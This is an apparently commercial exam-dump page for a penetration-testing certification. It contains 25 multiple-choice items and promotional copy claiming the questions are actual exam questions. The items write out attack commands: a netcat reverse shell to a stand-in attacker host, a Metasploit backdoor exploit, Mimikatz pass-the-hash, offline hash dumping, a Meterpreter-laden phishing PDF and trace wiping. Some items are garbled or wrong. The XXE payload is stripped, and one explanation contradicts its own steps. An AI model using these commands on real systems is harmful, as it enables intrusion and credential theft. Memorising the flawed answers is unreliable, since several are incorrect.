Up-to-date Questions and Answers from authentic resources to improve knowledge and pass the exam at very first attempt. ----- Guaranteed.

KILL EXAMS

ML0-320 Dumps
ML0-320 Braindumps
ML0-320 Real Questions
ML0-320 Practice Test
ML0-320 Actual Questions

PASS

killexams.com

Mile2

ML0-320

Certified Penetration Testing Professional (CPTE) - 2025

ORDER FULL VERSION

https://killexams.com/pass4sure/exam-detail/ML0-320

Question: 1480

During a penetration test, you've used a rootkit to hide a malicious service on a Windows Server 2019 system. The service is named MalSvc. Which command would you use to verify if the service is hidden from standard service enumeration tools?

A. sc query MalSvc
B. Get-Service -Name MalSvc
C. net start MalSvc
D. wmic service where name='MalSvc' get name, state

Answer: B

Explanation: The PowerShell command Get-Service -Name MalSvc queries the Service Control Manager directly, bypassing potential rootkit hooks in user-space tools like sc or wmic. net start attempts to start the service, which is irrelevant here.

Question: 1481

You are using PowerShell to enumerate all active sessions on a domain controller. Which command provides this information?

A. Get-NetSession
B. Get-ADSession
C. net session
D. Get-Process -Name session

Answer: A

Explanation: Get-NetSession, from PowerView, lists all active sessions on a domain controller, which is valuable for identifying lateral movement opportunities.

Question: 1482

A penetration tester is tasked with exploiting a Metasploitable 2 instance running on 192.168.56.101. After performing an Nmap scan with nmap -sV -p- 192.168.56.101, the

tester identifies an open VSFTPD 2.3.4 service on port 21, which is vulnerable to a backdoor exploit (CVE-2011-2523). Using Metasploit, which command sequence correctly initiates the exploit to gain a shell?

A. use exploit/unix/ftp/vsftpd_backdoor; set RHOST 192.168.56.101; set PAYLOAD linux/x86/shell_reverse_tcp; run
B. use auxiliary/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.56.101; set PORT 21; run
C. use exploit/linux/ftp/vsftpd_234; set TARGET 192.168.56.101; set RPORT 21; exploit
D. use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.56.101; set RPORT 21; exploit

Answer: D

Explanation: The VSFTPD 2.3.4 backdoor vulnerability (CVE-2011-2523) is exploited using the Metasploit module exploit/unix/ftp/vsftpd_234_backdoor. The correct command sequence involves selecting the exploit with use exploit/unix/ftp/vsftpd_234_backdoor, setting the remote host with set RHOST 192.168.56.101, setting the port with set RPORT 21, and executing with exploit. This module automatically triggers a shell on port 6200 without requiring a specific payload configuration, unlike the incorrect options which either use non-existent modules, incorrect syntax, or misconfigured parameters.

Question: 1483

A penetration tester uses Rapid7 InsightVM to scan a network with 200 virtual machines. To reduce scan time while maintaining accuracy, which setting should be prioritized?

A. Enable "Smart Sampling" with vulnerability prioritization
B. Use "Lightweight Scan" template
C. Configure "Scan Throttling" with low intensity
D. Enable "Parallel Scanning" with 10 threads

Answer: A

Explanation: Smart Sampling in InsightVM reduces scan time by prioritizing high-risk vulnerabilities while maintaining accuracy, ideal for large VM environments. Parallel Scanning may overwhelm resources, Lightweight Scan sacrifices depth, and Scan Throttling slows scans without prioritization.

Question: 1484

A penetration tester wants to exploit a misconfigured sudoers file. Which command would best enumerate sudo privileges?

A. sudo -l
B. cat /etc/sudoers
C. id
D. whoami

Answer: A

Explanation: The sudo -l command lists the current user's sudo privileges, revealing potential misconfigurations.

Question: 1485

To evade a firewall that blocks outbound ICMP ping requests, you use hping3 to craft TCP ACK packets to probe a target's port 80. Which hping3 command sends TCP ACK packets with a source port of 12345?

A. hping3 -A -p 80 -S 12345 target.com
B. hping3 -A -p 80 --sport 12345 target.com
C. hping3 -F -p 80 --sport 12345 target.com
D. hping3 -A -p 80 -s 12345 target.com

Answer: B

Explanation: The command hping3 -A -p 80 --sport 12345 target.com sends TCP ACK packets (-A) to port 80 with a source port of 12345 (--sport). This mimics a response packet, potentially bypassing the firewall's ICMP restrictions. The -S option in the first choice sets the SYN flag, -F sets the FIN flag, and -s is not a valid hping3 option.

Question: 1486

You need to enumerate all Active Directory groups a user belongs to using PowerShell. Which command correctly retrieves this information for the user "jdoe"?

A. Get-ADUser -Identity "jdoe" -Properties MemberOf | Select-Object -ExpandProperty MemberOf
B. Get-ADGroupMember -Identity "jdoe" | Select-Object Name
C. Get-ADUser -Identity "jdoe" | Select-Object Groups
D. Get-ADPrincipalGroupMembership -Identity "jdoe" | Select-Object Name

Answer: D

Explanation: The command Get-ADPrincipalGroupMembership -Identity "jdoe" | Select-Object Name is designed to retrieve all groups a user belongs to.

Question: 1487

A penetration tester is assessing an IoT-based smart garage door opener controlled by a mobile app. The app uses a WebView component that loads a configuration page from a remote server without validating the SSL certificate. Which attack can the tester perform to compromise the app?

A. Injecting malicious JavaScript into the app's local storage
B. Exploiting a buffer overflow in the WebView component
C. Performing a MITM attack to serve a malicious configuration page
D. Using a brute-force attack to guess the app's session token

Answer: C

Explanation: Without SSL certificate validation, a MITM attack can intercept the WebView's connection and serve a malicious configuration page, potentially compromising the app and the garage door opener.

Question: 1488

Which of the following is the most appropriate way to document a finding involving weak SSL/TLS ciphers?

A. Reference the vendor documentation only
B. Describe SSL/TLS in general terms

C. List the weak ciphers and provide the output of an nmap --script ssl-enum-ciphers scan
D. Omit technical details for brevity

Answer: C

Explanation: Listing the weak ciphers and providing scan output offers clear, actionable evidence.

Question: 1489

You are analyzing Wireshark captures and want to detect ARP spoofing attempts. Which filter identifies ARP response packets?

A. arp.opcode == 2
B. arp.response
C. arp && ip.src == 192.168.1.100
D. arp.type == "response"

Answer: A

Explanation: The filter arp.opcode == 2 identifies ARP response packets.

Question: 1490

A client requests a vulnerability assessment of their internal systems. Which of the following is a key challenge unique to internal assessments?

A. Complexity due to diverse operating systems and configurations
B. High risk of detection by IDS
C. Limited access to target systems
D. Inability to use automated tools

Answer: A

Explanation: Internal assessments often face challenges due to the variety of systems, configurations, and legacy devices present in internal networks.

Question: 1491

You have a SAM hive file and want to extract hashes using secretsdump.py. Which command should you use, assuming you have the SYSTEM hive as well?

A. secretsdump.py -sam SAM -system SYSTEM extract
B. secretsdump.py -sam SAM -system SYSTEM -o hashes.txt
C. secretsdump.py -sam SAM -system SYSTEM -dump
D. secretsdump.py -sam SAM -system SYSTEM local

Answer: D

Explanation: The secretsdump.py -sam SAM -system SYSTEM local command extracts hashes from SAM and SYSTEM hives. The local flag specifies offline extraction. The other options use incorrect flags.

Question: 1492

A penetration tester is tasked with gathering information about a target organization's infrastructure. They decide to use Google Dorking to identify sensitive files exposed on the target's web server. Which Google query would most effectively locate PDF files containing sensitive information such as usernames or passwords on the target domain "example.com"?

A. filetype:pdf site:*.example.com inurl:login
B. filetype:pdf site:example.com intext:"username | password"
C. intext:"username password" site:example.com ext:pdf
D. site:example.com filetype:pdf inurl:(admin | login)

Answer: B

Explanation: The query filetype:pdf site:example.com intext:"username | password" is the most effective for locating PDF files containing sensitive information. The filetype:pdf operator restricts results to PDF documents, site:example.com limits the search to the target domain, and intext:"username | password" searches for documents containing either "username" or "password," increasing the likelihood of finding sensitive data. The other options are less precise: filetype:pdf site:*.example.com inurl:login includes subdomains and focuses on login pages, which may not specifically yield sensitive files;

intext:"username password" site:example.com ext:pdf requires both terms to appear together, potentially missing relevant results; and site:example.com filetype:pdf inurl:(admin | login) focuses on URLs rather than content, which is less likely to identify sensitive information within PDFs.

Question: 1493

A tester is exploiting a web app with a file upload feature. Which command can be used to start a reverse shell from the target to the attacker's machine using netcat?

A. nc -lvp 4444
B. nc -e /bin/sh attacker_ip 4444
C. nc -zv attacker_ip 4444
D. nc -u attacker_ip 4444

Answer: B

Explanation: The command nc -e /bin/sh attacker_ip 4444 initiates a reverse shell from the target to the attacker's machine.

Question: 1494

You've installed a rootkit on a Linux system that hooks the open system call to hide files. Which command would you use to detect this by tracing system calls of a process?

A. ltrace -e open ls
B. strace -e open ls
C. gdb --pid $$(ls)
D. perf trace ls

Answer: B

Explanation: The strace -e open ls command traces the open system call for the ls command, revealing if the rootkit manipulates file access. ltrace traces library calls, gdb is a debugger, and perf is for performance analysis, not system call tracing.

Question: 1495

You are asked to enumerate all open ports and services on a Windows server. Which PowerShell command would you use?

A. curl -I target_ip
B. netstat -an
C. arp -a
D. Get-NetTCPConnection

Answer: D

Explanation: Get-NetTCPConnection lists all active TCP connections and listening ports on a Windows system.

Question: 1496

During a penetration test, you obtain a list of NTLMv2 hashes from a domain controller. You want to use PowerShell to automate a pass-the-hash attack using Mimikatz. Which PowerShell command correctly invokes Mimikatz for this purpose?

A. Invoke-Expression "mimikatz sekurlsa::pth /user:Administrator /domain:corp.local /hash:"
B. Start-Process "mimikatz.exe" -ArgumentList "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:"
C. & "mimikatz.exe" -Command "sekurlsa::pass /user:Administrator /hash:"
D. Invoke-Mimikatz -Command "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:"

Answer: D

Explanation: The command Invoke-Mimikatz -Command "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash>" correctly uses the Invoke-Mimikatz script to perform a pass-the-hash attack with NTLMv2 hashes.

Question: 1497

During an OpenVAS scan, a tester finds a potential XXE vulnerability (CWE-611) in a web application. To confirm, the tester crafts an XML payload. Which curl command tests for XXE?

A. curl -X POST "http://target.com/xml" --data "]>&x;"
B. curl -X POST "http://target.com/xml" --data "admin"
C. curl -X GET "http://target.com/xml?data=admin"
D. curl -X POST "http://target.com/xml" --data ""

Answer: A

Explanation: XXE (XML External Entity) vulnerabilities are tested by injecting a malicious XML payload, such as one referencing file:///etc/passwd. The curl command with the DOCTYPE entity tests for file disclosure.

Question: 1498

You need to remove all traces of a file download from a Windows system. Which sequence is most effective?

A. del /f /q <file> && cipher /w:<drive>
B. move <file> C:\Temp
C. attrib -h -s <file>
D. ren <file> <newname>

Answer: A

Explanation: Deleting the file and using cipher /w to wipe free space ensures the file cannot be recovered.

Question: 1499

You need to identify a target's email servers during passive reconnaissance. Which command provides this information without direct interaction?

A. dig mailcorp.com MX
B. nslookup -type=A mailcorp.com

C. host -t NS mailcorp.com
D. whois mailcorp.com

Answer: A

Explanation: The dig mailcorp.com MX command retrieves MX records, identifying email servers passively. A records provide IP addresses, NS records list name servers, and WHOIS queries provide registration details, not email server information.

Question: 1500

A penetration tester uses nmap -sV -p 25 192.168.7.10 and identifies an SMTP server running Postfix 3.1.0. To enumerate valid email addresses, which Nmap script should be used?

A. nmap --script smtp-commands -p 25 192.168.7.10
B. nmap --script smtp-enum-users -p 25 192.168.7.10
C. nmap --script smtp-open-relay -p 25 192.168.7.10
D. nmap --script smtp-vuln-cve2011-1720 -p 25 192.168.7.10

Answer: B

Explanation: The command nmap --script smtp-enum-users -p 25 192.168.7.10 uses the smtp-enum-users script to enumerate valid email addresses by testing user accounts on the SMTP server. The smtp-commands script lists supported commands, smtp-open-relay checks for open relay vulnerabilities, and smtp-vuln-cve2011-1720 tests for a specific vulnerability, none of which focus on email address enumeration.

Question: 1501

A penetration tester wants to enumerate password policies on a Windows server using enum4linux. Which command should be used?

A. enum4linux -G <target>
B. enum4linux -U <target>
C. enum4linux -S <target>
D. enum4linux -P <target>

Answer: D

Explanation: The -P flag in enum4linux retrieves password policy information from the target system.

Question: 1502

While enumerating a Windows server using nbtstat -A 192.168.1.100, you receive output showing the NetBIOS name table with <20> indicating a file server. What tool and command should you use next to enumerate shared resources?

A. enum4linux -a 192.168.1.100
B. net view \\192.168.1.100
C. rpcclient -U "" 192.168.1.100
D. smbclient -L //192.168.1.100 -N

Answer: D

Explanation: The <20> in the NetBIOS name table indicates the target is a file server, meaning it likely has SMB shares. The command smbclient -L //192.168.1.100 -N attempts to list SMB shares anonymously (without credentials, using -N), which is a direct and effective way to enumerate shared resources. While enum4linux is useful for broader enumeration, it's less specific to share listing. rpcclient focuses on RPC services, and net view requires Windows-specific access, which may not work anonymously.

Question: 1503

You are exploiting a buffer overflow in a 64-bit binary with NX enabled. Which technique is most effective for code execution?

A. Return-Oriented Programming (ROP)
B. Injecting shellcode into the stack
C. Overwriting the SEH handler
D. Using a format string exploit

Answer: A

Explanation: With NX (No-eXecute) enabled, ROP is used to execute code by chaining existing instructions.

Question: 1504

You are conducting a penetration test on a network with a Cisco ASA firewall. The client reports recent phishing attacks exploiting social engineering. To simulate a spear-phishing attack, you plan to use the Social-Engineer Toolkit (SET). Which SET command sequence creates a malicious PDF with an embedded Meterpreter payload?

A. setoolkit -> 1 -> 2 -> 3 -> adobe_pdf_embedded_exe -> windows/meterpreter/reverse_tcp
B. setoolkit -> 2 -> 1 -> 4 -> adobe_pdf_embedded_exe -> windows/shell_reverse_tcp
C. setoolkit -> 1 -> 3 -> 2 -> pdf_exploit -> windows/meterpreter/reverse_https
D. setoolkit -> 2 -> 2 -> 1 -> malicious_pdf -> windows/exec

Answer: A

Explanation: In SET, selecting option 1 (Social-Engineering Attacks), then 2 (Website Attack Vectors), and 3 (Infectious Media Generator) allows creation of an adobe_pdf_embedded_exe, which embeds a Meterpreter payload (windows/meterpreter/reverse_tcp) in a PDF. This simulates a phishing attack effectively. Other options either select incorrect attack vectors (e.g., Website Attack Vectors or non-existent modules (pdf_exploit, malicious_pdf), making them invalid.

KILLEXAMS.COM

Killexams.com is an online platform that offers a wide range of services related to certification exam preparation. The platform provides actual questions, exam dumps, and practice tests to help individuals prepare for various certification exams with confidence. Here are some key features and services offered by Killexams.com:

***Actual Exam Questions**: Killexams.com provides actual exam questions that are experienced in test centers. These questions are updated regularly to ensure they are up-to-date and relevant to the latest exam syllabus. By studying these actual questions, candidates can familiarize themselves with the content and format of the real exam.*

***Exam Dumps**: Killexams.com offers exam dumps in PDF format. These dumps contain a comprehensive collection of questions and answers that cover the exam topics. By using these dumps, candidates can enhance their knowledge and improve their chances of success in the certification exam.*

***Practice Tests**: Killexams.com provides practice tests through their desktop VCE exam simulator and online test engine. These practice tests simulate the real exam environment and help candidates assess their readiness for the actual exam. The practice tests cover a wide range of questions and enable candidates to identify their strengths and weaknesses.*

***Guaranteed Success**: Killexams.com offers a success guarantee with their exam dumps. They claim that by using their materials, candidates will pass their exams on the first attempt or they will refund the purchase price. This guarantee provides assurance and confidence to individuals preparing for certification exams.*

***Updated Content:** Killexams.com regularly updates its question bank and exam dumps to ensure that they are current and reflect the latest changes in the exam syllabus. This helps candidates stay up-to-date with the exam content and increases their chances of success.*

***Technical Support**: Killexams.com provides free 24x7 technical support to assist candidates with any queries or issues they may encounter while using their services. Their certified experts are available to provide guidance and help candidates throughout their exam preparation journey.*